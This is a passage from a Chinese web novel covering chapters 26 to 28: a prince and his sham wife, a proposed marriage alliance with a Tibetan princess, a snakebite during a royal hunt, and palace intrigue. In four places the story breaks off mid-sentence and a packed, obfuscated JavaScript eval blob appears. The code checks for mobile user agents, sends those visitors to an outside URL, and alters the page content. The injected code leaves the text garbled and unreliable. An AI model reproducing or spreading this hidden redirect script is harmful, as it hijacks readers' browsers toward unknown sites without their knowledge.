“我啊……与以前没什么不同。” “怎么会没有不同呢？你可以很好的活下去了。” 幼时初见，谢卫曾感慨：身为底层人的自己要活下去很难。为了好好活着，他习武、做打手、浪迹天涯，归来仍是孤寂一身。现下有了官职与家人，岂不就是成了他口中‘活下去很简单’的那类人。 “当真可以很好吗？” 他语中含愁，自嘲似的发笑。 “这不是你选择的路吗？”梅倾秋也反问道。 谢卫停下笑，无言以对。 沉默席卷而至，再次将狭小厅堂灌满了难忍的尴尬。梅倾秋反应过来自己语气过重，这可不是担任和事佬最好的方式。 她重振旗鼓问他可是对公主有何误会。 “公主义无反顾选择你，为此承受了很多质疑和恶言。我借我们之间的交情，提醒你不要辜负了这片热忱，直到失去方悔。” 公主并不是非你不可——她强忍住这句话。毕竟她也不能直接了当说你不愿意就和离。 梅倾秋自认已经足够挑明了，起身离座，谢卫也随着起身。梅倾秋走几步又停下，恰好到了他面前。 “公主性格直率，如果有何误会，你大可跟她言明，她定会帮你的。公主不像襄王，他才是犟脾气，你与他一见面就争吵也能感受到了，如此公主夹在你与襄王之间也很为难。” 谢卫安静听着，直到‘襄王’一出现他就蹙眉哼气，似乎对她提起他极为不满。二人的敌对竟到了听名字就厌烦的地步。梅倾秋还真想问问，他们到底有何过节？ 正对面便是书架，梅倾秋偏头恰好看见架上的信笺，由花瓶压着，信笺一角的落笔人是太子。 见她收了声，谢卫随她目光看去，反应过来她注意到了什么，慌忙上前把信笺收入囊中。 “这是前几日……” “太子来信？” “我还没拆看。” 如无意外，便是太子蓄意招揽谢卫，已经给他这个武状元兼驸马递了橄榄枝，现下就是他愿不愿意的事了。 “时侯不早了，我还要入宫就先走了。” “倾秋，”谢卫喊住她，“我虽看不惯襄王，但我不会站在你的对立面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147844|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你为你自己的前程考虑就好。” 说罢梅倾秋迈出厅堂，院中等候的矜儿赶来搀扶。梅倾秋眺望廊道，见不着公主身影，便请驸马与公主说一声。就此辞别。 谢卫送她到府门前，直至她上了马车也仍伫立。矜儿朝他微微鞠躬，招手让马夫赶车。 马蹄渐渐，马车沿林荫道垂直远去，余光里的红灯笼格外刺眼。可真正阻拦他的，岂是这红灯笼。谢卫回身进府。 - 梅倾秋没有如愿见到昭贵妃。她侯在殿外，被贴身女官告知昭贵妃感了风寒，不便相见。梅倾秋只能托女官传去几句贴心话，而后打道回府。 红墙长廊余梅倾秋与侍女矜儿，飘叶擦过檐角，掀落一层薄薄的尘烟。 矜儿暗中回首，低声道：“是昭贵妃道每月的今日要进宫请安，有了变故怎也不托人说一声，让王妃白跑这一遭。” 梅倾秋停住脚步，矜儿连忙噤声垂头。 “深宫之中，不可多言” “知道了，王妃。” 长廊尽头出现一抹黛绿色身影，发上、耳上、以及腕上珠饰摇曳作响，未见其人先闻其声。 吐蕃公主穆妮娅探头注意到了梅倾秋，主动上前与她打招呼，还热情邀请她到住处饮茶。 “多谢公主好意，但终归是身份有别，叫人看了会说我暗中接近使臣，不怀好意，落下闲话的。” 梅倾秋说罢双手在前作揖，方一与其擦肩而过又被喊住。 穆妮娅赶上几步到她面前。 “襄王妃深谙皇室礼仪，识大体懂分寸，穆妮娅还要向你学习。往后我们相处定会融洽。” “公主的意思是……” “啊，你还不知道？” 穆妮娅轻拍了拍自己额头，手腕珠串幌个不停。 “说来也是，襄王应该也是刚知道。” 一旁不语的矜儿都快耐不住性子了，就是单纯如她也看出对方是有意捉弄。 “皇上让我与襄王和亲，那我与你便是姐妹了，相处融洽岂不分外重要？” 矜儿如遭雷轰劈中，嘴巴张大，眼珠子瞪视着穆妮娅。回头瞧自家王妃，却是无甚表情，仿佛对此并不意外。 “这个时辰王爷刚刚结束早朝，确实还没机会与我提起此事。既是皇上所赐，自然没有违抗的道理，就是委屈了公主，要离开吐蕃远嫁至此。” 梅倾秋心平气和，眉开眼笑，仿佛提起的不是夫君纳妾之事，只是商议合桌用膳要上什么菜。 惹得穆妮娅一时无措。她也没料到梅倾秋对‘瓜分丈夫’这个意见不大，甚至好似没所谓。就是另有所图的自己都会心生不满，更别提是成婚不到半年的正妻。 她吞吞吐吐道：“我……如两国之间的和平需要我来维系，我自然义不容辞。而王妃，你当真不介意襄王纳我为妾？” “这是襄王的事情。” 梅倾秋含笑点头，再次与她告别。便头也不回的走了。 穆妮娅呆愣在地，凝视梅倾秋远去的背影。心想她果然不简单。 26. 第 26 章 “王妃，那是王爷。”矜儿道。 梅倾秋已经上了马车，闻言掀开窗幔，远处驾马而来的确是李秉昶。二人远远相望，他策马向前，将马丢给傅雁，弯身上了马车。 扬鞭声起，马车缓缓穿过宫门。梅倾秋扫了眼身旁人，眼见一滴血自他眼角垂落。 “襄王……” 她身体前倾，双手够住他右肩，李秉昶偏过脸来，好让她看清伤口是在额角。 梅倾秋取手绢拭去滑到下颌的血，按住额角的伤口。他微微移动身体靠近她。 “怎么受伤了？” “皇上打的。” “他打你？为何？” 他看着她，面露难色：“此前我们猜测吐蕃公主是前来和亲的，这点是对的。但他准备让我娶吐蕃公主为妾。” “你拒绝了？” “拒绝了。” 梅倾秋掀开手绢，见没渗血了，抽手回座，将手绢对折。 “吐蕃兵力见弱，但总归是一股势力，和亲没有什么坏处。” 李秉昶整张脸面向她，脸侧有几道结痕的血印。 “你真觉得我娶她也行？” “王爷没有兵马和封地，太子却有燕王，如果你与穆妮娅公主和亲，吐蕃这股外臣势力也可稍微牵制太子。” “你能想到的只有这股势力利不利于夺权？” “那还有什么？” “你自己呢？” 梅倾秋略一发愣，以为他是怕她处理不好妻妾之间的矛盾。 “我与穆妮娅公主有过交谈，应该不会有什么问题。” 马车忽起颠簸，似卡进了一个大窟窿，双马嘶鸣，整个车厢往后倒。梅倾秋因这股倾斜滑到角落，她伸长手想抓住什么东西，混乱中抓住了李秉昶探来的手。 他随她往下跌，伸出另一只手垫在她背后，将她整个人揽在怀里，二人鼻尖轻轻相碰。 “与别的女人共侍一夫你也愿意？” “王爷王妃……车轱辘陷进了个大坑，恰好马儿受惊了，二位不必担心，傅侍卫已经在想办法了。” “一二——，一二——” 话音未落，傅雁便与车夫一起将车轱辘赶上了平地。 “王爷王妃，我们重新出发了。” 被桎梏的那只手轻作扭动，得到暗示的人不肯松开，她只能用另一只手推了推他胸膛。 “你先回答我。” “共侍一夫只是名义上。” 李秉昶安静注视着她，她想了想加上句：“我们是假夫妻啊，王爷。” 好巧不巧，额角伤口的血滴在了梅倾秋脸上，并仍在往外慢慢渗血。这个伤口不浅，从额角延至眉尾，足有三寸，没完全止血的情况一蹙眉就容易扯动伤口。 他终于松开了她的手，移到她脸上用指腹拭去那滴血。 “是啊，我们是假夫妻。” 李秉昶扶正她双肩让她坐稳，自己起身坐在一旁。她递手绢给他，他却不接，道：“既然是假夫妻，男女授受不亲。” “？” 马车就快到达襄王府，李秉昶仍是喊马夫停下，彬彬有礼地向她颔首：“我还需外出，王妃先行回府吧。晚膳就不用等我了。” “？” 梅倾秋一头雾水，透过小窗看李秉昶翻身上马，策马离去。 “王妃……” 矜儿听不清二人谈话，还以为是李秉昶执意纳妾起的争执。 “王爷出身帝王家，纳妾也是受制于皇上，应也不是他本意……” “不必再说了，回府吧。” - 秋寒路峭，宁枝驾马直驱入林，林荫道逐渐远离村落，马蹄声于寂静密林中分外响彻。她勒马停下，将马拴在梧桐树干上。双手攀着树枝跃上树，再用轻功在深林中穿梭。 负责跟踪太子行踪的阿风不慎暴露了，被太子的手下看见了脸。幸在全身而退，但不可再跟进此事，所以转由宁枝接手。 旭日经郁郁葱葱的树木遮挡在外，几缕透过树叶间隙洒落。愈往里去，愈靠近山峦深处，植被茂密犹如一层厚重黑幕。一盏茶功夫不到，仿佛已从白日过渡到了夜晚。 山峦之间建了一条暗道，暗道尽头亮有两盏火烛。宁枝取出牛皮纸，用石子尖扎入纸皮，滑动以勾勒出路线图。 异响钻入耳内，宁枝收起图纸，翻跟向上躲进树叶中。 可疑男子也未骑马，一袭黑衣于深绿丛中跳跃，恰好下一脚就踩上宁枝所在的这棵树。 宁枝心道不好，轻微移身，树叶耸动出卖了她。男子敏锐抬头，与她对了个正着。 宁枝握紧脚踩的树枝，身体下滑踢撞男子背部，男子猝不及防被踢下树，单手撑地又用轻功弹了上来。 二人踩在同一根树枝上过招，竟是半晌分不出胜负。她拔出短刀刺向男子，男子惊愕地偏头躲开。 喊道：“别啊，散财公子！” 刀尖已然勾去男子脸上所蒙黑布，她翻跟落在对面树枝上，男子抬起脸，是许骄松。 “原来你身手还这么好！”他感叹道。 “你喊我什么？” “上次我说不用你还钱，你非要还我，不是乐于散财吗？” 许骄松话音刚落，宁枝就跳下树往回走了。 她也想继续往里探查，但遇了这么个捣乱的也不能继续了，只能暂时停下。殊不知许骄松也是同样的想法。 他跟在宁枝身后，“你不喜欢这个称呼？那你叫什么？我叫许骄松，字安行。” “你到这深林之中是为何？” “难不成是迷路的？” 宁枝被烦得刹住脚，许骄松差点撞在她身上。虽然宁枝比他矮上半个头。 “我们并不相熟，不要跟着我。” “要出去只有这么一条路。” 宁枝理亏，不再搭理他，用轻功在众树之间穿梭。许骄松一赶超她，她又鼓劲追上，莫名其妙变成了二人之间的较量。 直到见着拴在树上的马匹。宁枝停止这场追逐，许骄松掉头回来蹲在树枝上。 “你到底叫什么？” “宁枝。” “此番上哪去？” 宁枝拽绳上马，眼泛杀气瞪了他一眼。 “你话太多了。驾——” “不是……” 许骄松没来得及回话，宁枝就一溜烟驾马下坡了。 他回望密 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147845|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林深处，自言自语：“那明日再来吧。” 许骄松回到宰相府已是黄昏时分，还未下马，家仆就递来张纸条。他拆开一看，拉紧缰绳又掉头走了。 长桂里沿湖而建，但仍设有暗厢，在文人乐于聚集的湖亭对面。许骄松穿过栈道进入，约他前来的人不在榻上，却倚窗而坐，提着一壶酒。 对面湖亭传来阵阵箫声，悠扬婉转，与潺潺流水相依，更是格外悦耳。一人吹箫，几人吟诗，这波文人墨客向来是懂寻乐赏景的。 “还真是许久未到这来了。” 说着许骄松在李秉昶身后的桌前坐下，给自己斟了杯酒。 “我今日依神秘人给的线索去那片密林了，碍于碰见了熟人，就没继续往里去，明日我再去探探路。” 李秉昶仍是头也不回，也不给个反应。恍若自言自语道：“荷叶立时飞香，垂首愈称秋成。” 许骄松朝湖面望去，正值秋时，残荷枯萎凋零，一株株佝偻着根，有些会在随风摇曳的过程沉入湖底。 “你还记得这是谁说的吗？” “我听过？” 许骄松思忖片刻，仍是想不起来。 “秋生。” “啊……”许骄松要说起这位，脑筋都得转半会才能理清，“就是襄王妃女扮男装的时候，当时我真信了秋生是个公子哥！说起来都过去一年了。” 夕阳染红湖水，令沉入湖中，又依稀存影的荷苗愈加泛熟透之色。 友人沉默寡言，仰头只顾灌酒。 “你到底有什么心事？” 壶空酒尽，李秉昶转身又取一壶，这次高举酒壶斟入瓷杯。许骄松这才看见他额角有道血痕凝固的伤口。 “皇上让我纳吐蕃公主为妾。” “噢？这倒是挺意外。” “她怎么就那么容易接受呢？” “谁？” 李秉昶不作答，将酒一饮而尽。 许骄松猜测：“襄王妃？” “她说与穆妮娅和亲，可以得到吐蕃的势力，借此牵制太子。” “嗯，王妃所说没什么不对。” 酒壶震响木桌，将杯中酒也震颤出杯外，李秉昶哀怨的目光注视着他。 “那她呢？那我呢？假夫妻就没关系吗？” “？” “她根本就不在意我。” “虽然我早就知道这个事实。” 他又抛开酒杯，拿起酒壶倒头就灌。 “好了好了。”许骄松抢过酒壶，“原来你是因为这个赌气啊，那倒是跟她说清楚啊。” “大局而言，与吐蕃和亲确实有利于扩充势力，王妃说的没错，夺权本就是你们共同的目标啊。至于她在不在意你这件事……你不是早就有心理准备了吗？” 终是没见过始终运筹帷幄的友人这般落寞，许骄松用指关节叩响木桌，继续道：“那你干脆破罐子破摔吧，挑明你就是爱她才不纳妾！挑明你与她成亲根本不是为了太尉的势力！” 李秉昶双眼从下往上看，他没醉，但也失了平日的理智，竟有一瞬因这番话亮起了眼，好似说出了他的心坎。 但片刻后他又自嘲地笑了笑，道：“你不懂。” 27. 第 27 章 静夜疏星，院中飘叶盘旋，笼影斜斜映窗而荡。 凉风簌簌拂进房来。梅倾秋上前关窗，一抹影子适时落在窗纱之后，来人无声无息，树叶沙沙声都比之清晰。 她以形辨人，认出门外是襄王。 “王爷可是有事相商？” 时辰已晚，梅倾秋没有直接与他相见，但门外人既不应答，也不离去。还摇摇晃晃地砸在小窗上。 她推开门，见李秉昶双手后撑，倚靠着窗框站立。尚有几步之距，已令她闻到了阵阵酒气。 意识不清的人闻声抬头，许是想起自己当下有失大雅，便站直身体正衣冠。不料背部一离开窗框，又向前踉跄了几步。 梅倾秋赶忙搀扶住他，他体格魁梧，喝醉了整个人挂在她身上，压得她难以移动。梅倾秋倒是有力气，但也耐不住对方不配合。 两只手紧紧相叠，他不推开她，却也不肯随她走，闹脾气似的就是要挨在这面窗上。 “王爷……夜已经深了。” 李秉昶耳朵耸动，如梦初醒般睁开眼，张望着寻找说话人。她伸手在他眼前晃了好几下，他才随着这双手转向她的脸。 他双目迷离，被蒙上层酒晕的朦胧，眼周也微微泛红。 “你这是喝了多少？” 她说着去搀他的胳膊，他背部偏离窗框，但费了好一会劲才稳住身体。 二人双手仍紧紧相缠，他一动弹就会牵着她一起动。 故而，梅倾秋在搀扶他，却反像个提线木偶被人操纵着。梅倾秋被牵引着捂住自己脸颊，他双手搭在她手背上，手指穿入她五指指缝，摩挲她的肌肤。 “我没醉。” 说自己没醉的人酒气熏天，陈年泡制的女儿红刚开坛许就是这个味。 梅倾秋仍是想着不放任他醉态百出了，便没唤来仆人，违心附和着他的主张。 “好，你没醉，你先回房吧。” “我真的没醉。” 李秉昶微显愠怒，蹙眉驳了一声，抓着她的手在空中挥动，而后侧身靠回窗框。 探手向她：“我只是想触摸这张脸。” “这里好看，这里、这里、都好看……” 他用指腹轻抚她的眼角，又移到眉尾、鼻尖、唇边。 停了片刻，改用食指抬起她的下巴。双目半阖，徐徐朝她靠近，往下倒在了她肩窝里。 “我的假王妃……” 不知为何，这句实话落入梅倾秋耳中，像极了对她那句‘假夫妻’的报复。 急促脚步声越壁而来，待矜儿身影拐进廊道，梅倾秋推开不省人事的李秉昶，架住他的胳膊。矜儿加快步伐，赶来搀扶他另一边胳膊。 “王爷醉了，送他回房吧。” 说罢她们合力将李秉昶抬进隔壁厢房。 - 两日后。 金棕相间的华盖马车接二连三穿过森林，沿弯曲山路而行，马蹄渐渐，声势浩大。车队约有五辆马车、近二十匹马、五十余名侍卫、二十余名女婢。 车队前往的是皇家狩猎场鹿苑。此行乃太子所组织，邀牟达、襄王、六皇子随行狩猎，可携女眷。太子携一位侧妃、襄王携王妃、牟达携其妹、六皇子则只身一人。 山河铺尽秋色，树木青黄参半，略一摇曳便有树叶飘落。马车无厢，四面仅用锦布围罩，锦布尾端系绑铃铛，随马车行进而叮铃摇荡。 几辆马车排于中后段，车后约有十名侍卫断后，太子与皇子们则领头驾马在前。 秋风萧瑟，锦布由风拖拽着来回摆动，梅倾秋从坡下景色回过头，便见前面马车里的穆妮娅盯着自己。 梅倾秋抬眼眺望远处驾马的襄王，依稀可自憧憧人形辨见他的背影。她视线又回到穆妮娅脸上，朝她微微一笑。 穆妮娅回以她笑容，松开锦布回身坐正。 狩猎场十里外有一鹿苑，环林而建，屹立浅湖之上。当下秋季湖水干涸，但湖水碧蓝清澈，金鱼围亭，甚是赏心悦目。 女眷们不可进围场，只得留在鹿苑中，男人们要赶在午宴前去猎场转一圈。 骏马扬蹄入队，李秉昶接过缰绳跨上马背，他显得心不在焉，总时不时朝梅倾秋看来一眼。 自从他上回深夜醉酒，两日以来二人在府内抬头不见低头见，却都心照不宣地避免交锋，极少言谈。 马匹相逐入林，风声鼓吹枯枝，飘零黄叶纷纷赶着掩去他的身型。梅倾秋察觉有人接近，依声回首，侧后方是穆妮娅。 她道：“太子侧妃回房歇息了，就剩我和王妃了，王妃可想逛逛鹿苑？” “好啊。” 二人简单走了一圈，绕到面朝湖景的廊道。梅倾秋站定，接过矜儿手里的木盅，将鱼食洒进湖里喂金鱼。 穆妮娅双手后撑围栏，仰脸道：“约莫最多半月，牟达就要回吐蕃了，和亲之事应会在猎行之后定下来。” “公主与我说这话何意？” “王妃当真对襄王纳妾无所谓？听闻你们成亲不到半年。” “我不同意，公主就会放弃和亲了？” 穆妮娅没料到她会这样反问她，顿时张口结舌。 梅倾秋轻笑道：“公主既主意已定，又深知我左右不了，还如此确定我的意见又有何用？是想让我有心理准备，日后不与你为难吗？放心吧公主，我对这桩亲事没有异议。” 她句句肺腑，殊不知她越是如此，穆妮娅就越是警惕她。 在吐蕃，平民乃至君主都是一夫一妻制，甚至还有一妻多夫的。没有女人应该为男人所谓的需求或贪欲让步，他们也没这个胆量将纳妾说出口。 而大宜不同，皇室贵族妻妾成群，官宦商贾亦是三妻四妾，难道后院的女人们真能和睦共存？ 穆妮娅松开围栏，蓄力反驳。余光瞥见檐角挂着条蠕动的花蛇，其尾巴缠檐，上半段蛇身悬在矜儿身后，正朝她的后脖探出长舌。 “快走开！” 穆妮娅推开矜儿，已然惊动了蛇，它饿极扑食，蹿上前咬住她大拇指。 “公主！”矜儿回过神来大喊。 花蛇当即被穆妮娅甩开，蛇齿松开皮肤后犹如涌动的水，砸响地板而后迅速钻进石壁。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147846|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“矜儿，去取盆清水和油灯来！唤太医！” “是，王妃。” 梅倾秋抓住穆妮娅的手腕，往下挤压伤口逼出毒血，再舀清水从上往下浇，反复三四个来回。毒血仍是无法尽数排出，淤肿却愈加显著。 “王妃，太医使的车队还在三里外。” “公主，我习过医书，别怕。” 穆妮娅尚未作反应，梅倾秋就掏出匕首，在火烛上方划动，而后刀尖切破伤口。毒血外涌染红裙摆与木板。 排出毒血后，梅倾秋用手绢绑扎穆妮娅的虎口，而不去触碰伤口。 “我没有纱布，但毒液应该全排出来了，等太医到了再施药敷治、包扎伤口。公主可还会感觉到疼？” “不，不疼了。谢谢你……” 穆妮娅轻轻说道。 “啊——！”矜儿倏忽大喊，提着裙摆猛烈跺脚，她刚要去换盆清水，就又看见了那条蛇。她追着蛇尾巴踩，把它赶回石壁。 矜儿回来向穆妮娅鞠躬道谢。 “我就是举手之劳，不必在意！” 远方马匹疾驰而来，蹄声急促，闷轰惊鸟。原以为是太医队到了，遥望发现是襄王与六皇子。 一抹紫黛色身影拖拽疾风与飘叶，下了马踏上木桥，其与梅倾秋远远相望，下一秒大步穿过木桥。 李秉昶停在梅倾秋面前，看了看静坐地上的穆妮娅，面色苍白，身旁还有数盆血水。 “发生何事了？” “穆妮娅公主为了救我被蛇咬了，王妃已经为她清洗伤口逼出毒液，太医队还未到。”矜儿回答。 但他没有随之问候穆妮娅，而是拉住梅倾秋胳膊：“那你可有受伤？” “我没事……” 给穆妮娅处理伤口的过程梅倾秋一步未动，此时也只是原地起身。这下由着他轻轻动弹，脚踝便隐隐传来刺痛感，登时头重脚轻，险些滑倒。 李秉昶眼疾手快揽住她，拂起裙摆，白罗纱袜透染出一块血色。 矜儿俯身拨袜，惊道：“王妃也被蛇咬了！” 穆妮娅：“王妃？……” 李秉昶当即将她打横抱起，三步并作两，快跑向房间。嚷着：“太医队到哪了？来秋游的吗？！” 傅雁：“我去看看！” 亭后传来阵阵喧嚣，穆妮娅听了不可乱动的嘱咐，双手下垂倚靠围栏。她伤口处理完毕已无明显痛感，却仍是懵懵的，她得出结论：襄王妃应是在专注救自己的时候被咬的。 而这短短一瞬的行事反应，穆妮娅就看出襄王深爱着自己夫人。和亲的圣旨迟迟不下，看来也有他从中阻挠的原因。 难怪襄王妃对新婚夫君纳妾不为所动，原是恃宠而骄。穆妮娅想。 许是见她独自一人，认为她被冷落了。六皇子李秉璟承担起照顾她的责任，靠近询问她除了手指，可还有其他地方被蛇咬了。 得了否定回答后，他道：“那可以慢步走回房，入秋了，此处终归是凉了些，还是进屋去吧？” “好。” 李秉璟招来女婢，搀扶穆妮娅回房。 28. 第 28 章 中了蛇毒不可剧烈跑动，梅倾秋便由着李秉昶抱进卧房。他将她放在坐榻上，二话不说蹲下身，把她的脚抬高踩着他的膝盖，快速剥去鞋履和纱袜。 凉风跐溜贴上肌肤，梅倾秋本能地发颤。李秉昶手刚按住脚掌，后知后觉道：“失礼了。” 针口似的伤患逐渐泛红，他双手用力往下挤压伤口排血，但难以排尽。 “刀切伤口吧。”梅倾秋道。 李秉昶惊讶抬眼，但不言语。 “我能忍住。” 她说着俯身要去拔他腰侧的短刀。 手指方一触及刀柄，他伸手抓住她手腕，俯首将唇贴上脚踝处的伤口。 “王爷……” 她来不及阻拦，他已经移开唇往旁边吐毒血，而后继续埋首。 伤口经人吸吮，齿咬般的痛感深刺皮肉，如有蚯蚓钻了进去，周遭肌肤都开始产生刺痒反应。 毒素没有蔓延得那么快，不然梅倾秋真希望自己当下是昏迷的，不必对这一幕做出反应。而她两手被擒，只能眼睁睁地看着他给自己吸毒血。 屋外嘈杂不断，脚步声急促叩响木板，仿佛能将其踩塌。矜儿手捧装清水的盆，由于跑得太快，边跑就边往外洒出几滴水，待她到达门前只余一半。 矜儿一进门看见的便是如此景象，着实将她吓得不轻。她埋低头不去看王妃被桎梏的双手，也不去看被王爷发丝半遮半掩的玉足。把水盆放在李秉昶身旁。 襄王夫妇成亲至今四个月，天天分房睡，哪曾有过这般亲密举措，就是碰碰手的次数都寥寥可数。 果然是患难当前，真情流露啊。矜儿暗想。 半褐半红的鲜血被吐在地上，少许留在了李秉昶下巴处，他也无多在意，只急着用清水冲洗伤口。 “你可还记得是何种蛇？剧毒蛇吗？” “看花斑应是微毒蛇。” “微毒蛇不及时处理也有生命危险啊，你光顾着别人，连自己被咬了都不知道。好在没有跑动，毒素蔓延没那么快，不然多危险……” 李秉昶少见地滔滔不绝，听出其中满是关怀的矜儿暗中憋笑。 “要先确认危险解决了，再去搭救别人。” “那可是吐蕃公主，如果出使大宜出了事……” “那不是你该管的。” 梅倾秋顿时被这话噎住了。 “你确保你的安全就好。” 毒血排出就无大碍了，而李秉昶显然还没从这份紧张中脱离。梅倾秋轻轻应了声“嗯”。 他抬眼与她相视，缓慢眨了两下眼，忽而想起什么似的扭回脸。嘟囔着“知道就好”。往地面铺条手绢，再放下她的脚踩着手绢。 太医队风风火火地来了，声如洪钟，几乎让人怀疑会踏断栈道。李秉昶在门前把关，说明伤势后只留下三名太医，紧接着又提醒其他太医到穆妮娅房内诊治一下。 “还好王爷先吸出了毒，现在处理一下包扎起来就好。”太医道。 梅倾秋抬眼看李秉昶，他本还安静盯着她，这下又像被火苗灼疼一般别开眼，与旁边的矜儿嘱咐几句要安排的吃食，便离开了。 - 夕阳绕过树梢，堪堪挂在鹿苑檐顶上，红霞漫遍树林，马匹奔腾的蹄叫声不绝于耳。行至黄昏，男人们才从围场赶回鹿苑，将猎物尽数分给下人们共食。 晚宴除了随行的御厨烹制菜肴，便是烤制猎来的猎物。 太医嘱咐伤口位于脚踝，不宜走动，所以梅倾秋是坐步辇到旁厅。 厅内狭小，矮桌紧凑相连围成半圆，也只能放下八张。再加上每人的贴身侍卫或婢女，就已将此厅挤得满满当当。 步辇着地，梅倾秋握住矜儿的手起身。被蛇咬的那只脚轻轻点地，全身重量压在另一只脚上，便只能由矜儿搀扶着。 稍远处，太子、襄王、牟达赞普围站着交谈，穆妮娅坐在角落，向她投来一道感激的目光。 “襄王妃。” 梅倾秋闻声回头，接近她的是六皇子李秉璟。他不擅骑马术和狩猎，听闻今日也未随兄长入围场。 六皇子是皇帝几个儿子里最小的一个，也是最淡泊名利的。比起朝会权谋，他更乐于看戏逗鸟，这也养成了他直率乐观的性格。 他慢步走到梅倾秋面前。折青扇，着蓝衫，与其说是雍容华贵的皇子，不如说是某位出身书香世家的公子。他身上尚无争权夺势的那股野劲。 “或许我可直呼你皇嫂？我排老六，名秉璟。” “六皇子，我曾听王爷提起过你。唤皇嫂自然也是可以的。” “方才听穆妮娅公主讲述驱蛇毒的过程，没想到皇嫂也晓医术！想来是得了太尉夫人的亲传？” 梅倾秋点头道：“我只是略通医理，实在比不上母亲的医术。” 李秉璟附和着微笑，单手开扇轻晃了晃，想起什么又合起扇子。 “那太医院前任署令不就是皇嫂的外祖父？听闻他已卸甲归田？” “啊……是啊。”梅倾秋迟疑道。她借用太尉千金之名，作为养女深居简出，并未见过这外祖父。 远处襄王回眸看见了这一幕，心中好奇二人所谈，又踌躇不前。他还在跟他的假王妃赌气，原因是被提醒只是假夫妻…… 李秉昶自知理亏，所以生闷气也是暗戳戳，同时又禁不住想确认她有没有发现自己的不对劲。 而梅倾秋对此一无所知。 入宴时梅倾秋坐在了夫君身边，她的右侧是六皇子，对面是穆妮娅与其兄牟达。 矮桌围成圈状，角落的乐者怀持琵琶，席地而坐，乐声轻缓悠扬。 众人举杯共饮。牟达忽而侧身转向李秉昶，说要敬他一杯。他旁边的穆妮娅迅速看了梅倾秋一眼。 “大宜几位皇子均是才华横溢，襄王更是文武全才，政绩斐然，想是纳妻妾的眼光也在我等俗夫之上了。” 牟达明夸暗讽，寓意明显，此话就是在指责他不愿纳妾，是否看不上穆妮娅。 说话间他有一瞬的目光落在梅倾秋脸上，想来念在她刚救了穆妮娅，牟达出口已经是有所收敛了。 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151243|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢牟达自顾自一饮而尽，李秉昶仍举着酒杯。 他道：“赞普过誉了，本王应该算皇上最不争气的儿子了。只是本王刚迎娶王妃，尚未有过纳妾的想法，如此而已。倘若皇上赐婚，本王亦不会抗旨。” 他仰头饮尽酒，朝牟达露出僵硬的笑容。牟达也笑着，但某一刻嘴角似在抽搐。 “纳妾又是何意？”太子来回扫视，故作惊讶道：“难不成是穆妮娅与我二弟？” 这下众人皆安静了。这事本就只有当事人知晓，且还未经圣旨通报。但现下是直接捅开来了。 见无人回应，太子哈哈大笑，自己给自己圆场：“穆妮娅公主如此美丽，哪有男人能拒绝她？赞普是说笑了。” 他又微微探身朝穆妮娅：“公主若真看上了谁，尽可直言！任你挑！” 说罢又开始招呼众人饮酒。 “奈何公主身中蛇毒，不然就可以齐进猎场，一睹公主驾马驰骋的身姿了。” 太子话太密了。梅倾秋想。 “北方原上窈窕主，傲骨丛中灼英姿，红袖婵娟胜芙蓉。” 开口的是六皇子。他莫名其妙就吟起了诗，说是送给穆妮娅的。 穆妮娅微仰着脸，灯盏将她双眼映得亮晶晶的，光看表情就知道她喜欢这首诗。 见状太子紧随其后也做了一首，但用词遣意远远不如六皇子，穆妮娅只是礼貌性微笑。牟达倒是乐在其中，开怀大笑。看上去比他问责李秉昶那会心情好多了。 - 月色与夜相融，树影婆娑，风声呼啸。距晚宴结束已过去一个时辰。 矜儿告退关上门窗，片刻沉寂后屋外又响起脚步声。 投射在窗纱上的影子徐徐走近，停在门外等了好一会，才敲了敲门走进屋。与她所料相同，是李秉昶。 这对假夫妻拘礼惯了，成婚四月以来，进入对方寝室的次数屈指可数。但出了府，总得扮演好夫妻的名号。所以在外这几日，他是必须与她同房的。 李秉昶不自然地与梅倾秋相视一眼，斟酌着坐在榻上，与她相隔了一张方桌。他清了清嗓，道：“行猎这几日，为了避人耳目我得住这里。” “嗯。” 